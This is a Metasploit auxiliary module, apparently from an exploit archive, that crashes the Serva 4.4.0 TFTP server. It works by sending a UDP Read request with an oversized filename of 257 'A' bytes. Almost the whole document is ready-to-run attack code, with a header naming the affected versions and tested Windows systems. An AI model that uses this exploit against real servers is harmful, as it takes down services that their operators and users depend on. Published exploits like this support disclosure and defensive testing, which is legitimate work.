Serva 4.4.0 TFTP Remote Buffer Overflow

`# Exploit Title: Serva 4.4.0 TFTP Server Remote Buffer Overflow (Metasploit)  
# Date: 2021-11-23  
# Exploit Author: Yehia Elghaly  
# Vendor Homepage: https://www.vercot.com/  
# Software Link : https://www.vercot.com/~serva/download/Serva_Community_v4.4.0-21081411.zip  
# Tested Version: 4.4.0  
# Tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
Rank = ExcellentRanking  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Serva 4.4.0 TFTP Remote Buffer Overflow',  
'Description' => %q{  
The Serva TFTP server version 4.4.0 can be  
brought down by sending a special Read request.  
},  
'Author' => 'Yehia Elghaly',  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2021-11-23'))  
  
register_options([Opt::RPORT(69)])  
end  
  
def run  
connect_udp  
print_status("Sending Read request...")  
sploit = "\x00\x01"  
sploit += "A" * 257  
sploit += "\x00"  
sploit += "netascii"  
sploit += "\x00"  
udp_sock.put(sploit)  
disconnect_udp  
end  
end  
`